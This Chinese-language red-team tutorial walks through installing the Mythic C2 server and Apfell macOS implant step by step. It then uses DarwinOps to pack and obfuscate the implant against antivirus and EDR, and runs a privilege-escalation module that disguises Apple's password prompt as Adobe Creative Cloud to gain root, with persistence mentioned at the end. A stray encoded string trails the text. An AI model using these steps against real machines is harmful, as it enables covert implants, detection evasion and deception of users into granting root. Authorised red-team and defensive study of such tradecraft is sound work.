MacOS红队实战:使用DarwinOps构建Mythic C2武器化载荷

5 阅读3分钟

MacOS红队实战:使用DarwinOps构建Mythic C2武器化载荷

本文将探讨如何在MacOS上搭建Mythic C2命令控制框架及其Apfell植入程序。我们将使用BallisKit DarwinOps对植入程序进行武器化处理以绕过EDR检测。同时还将演示如何使用权限提升模块获取Root访问权限。

1. 验证依赖项

开始之前,确保已安装构建mythic-cli所需的所有依赖项:

apt install make -y
apt install git -y

2. 从GitHub下载Mythic

从GitHub克隆Mythic仓库并进入目录:

sudo git clone https://github.com/its-a-feature/Mythic.git
cd Mythic

3. 安装Docker和Docker Compose

Mythic需要Docker和Docker Compose来运行其服务。使用以下脚本之一安装Docker:

  • Debian: ./install_docker_debian.sh
  • Kali Linux: ./install_docker_kali.sh
  • Ubuntu: ./install_docker_ubuntu.sh

4. 构建Mythic-CLI

构建mythic-cli

make

如果一切顺利,你将得到一个可用的./mythic-cli文件。

5. 启动Mythic

脚本执行完成后,即可启动Mythic:

./mythic-cli start

提示:某些容器可能需要时间初始化并与其它服务通信。初始阶段看到错误消息是常见现象;重要的是所有容器都已启动。

6. 配置

所有配置通过.env文件或以下命令完成:

./mythic-cli config

如果C2服务器需要远程访问,必须执行以下命令:

./mythic-cli config set mythic_server_bind_localhost_only false && ./mythic-cli restart

现在可以通过服务器IP地址访问UI面板。如果无法连接,请确保'BOUND LOCALLY'设置为false。

通过以下地址访问Mythic UI:

https://127.0.0.1:7443/new/login

登录凭证

  • 用户名:mythic_admin
  • 密码:自动生成,可在.env文件中找到。或使用命令:
    grep ^MYTHIC_ADMIN_PASSWORD= .env | cut -d = -f2
    

7. 安装Payload和C2Profile

登录后,进入Payloads部分,安装payload和通信通道:

安装Apfell(用于macOS的Mythic payload,使用JXA):

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell

安装HTTP C2Profile(与植入程序通信):

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

8. 生成Apfell Payload

生成Apfell payload的步骤:

  1. 选择MacOS(如果Apfell是唯一安装的payload,则为默认选项)
  2. 选择Apfell(如果也是唯一安装的payload,则为默认选项)
  3. 添加所需的命令(不会影响整体流程)
  4. 选择C2 Profiles时,确保包含HTTP
  5. 验证参数是否匹配。默认设置为https://和端口80。如果配置不一致将无法工作
  6. 参数输入完成后,即可下载payload

9. 使用DarwinOps进行武器化

生成的payload可能会被防病毒程序标记并删除,因此需要对其进行武器化处理。这里将使用DarwinOps,专为MacOS设计的红队工具包!

武器化Apfell payload

./darwin_ops -G payload.app -i apfell.js --autopack --obfuscate

执行生成的payload

./in_memory_exec.js

权限提升模块使用: 如果需要更高权限,可以使用Privesc模块将自己伪装成合法应用程序:

./darwin_ops -G privesc.app -i apfell.js --privesc --privesc-delay-execution 10 --privesc-prompt_app_name "Adobe Creative Cloud" --privesc-prompt-app-icon CreativeCloudApp.icns --autopack --obfuscate

Apple的原生提示被伪装成我们选择的应用程序,但实际上将以root权限启动我们的Apfell植入程序。

如图所示,通过植入程序获得了root访问权限,DarwinOps还允许通过其他模块添加持久化功能。FINISHED CSD0tFqvECLokhw9aBeRqgJcKWJF+birK01iJlMQBy8dA/IoUmQ3a8NCV4f4/iDmWdrGlB1A+YwCQcYLk3pbu5V7iJKALOsEBgS+H36NPVXQ5dRIxJeywUbdYhy6nc3+JEcVMdU+0GYoG38+NOoYTQ==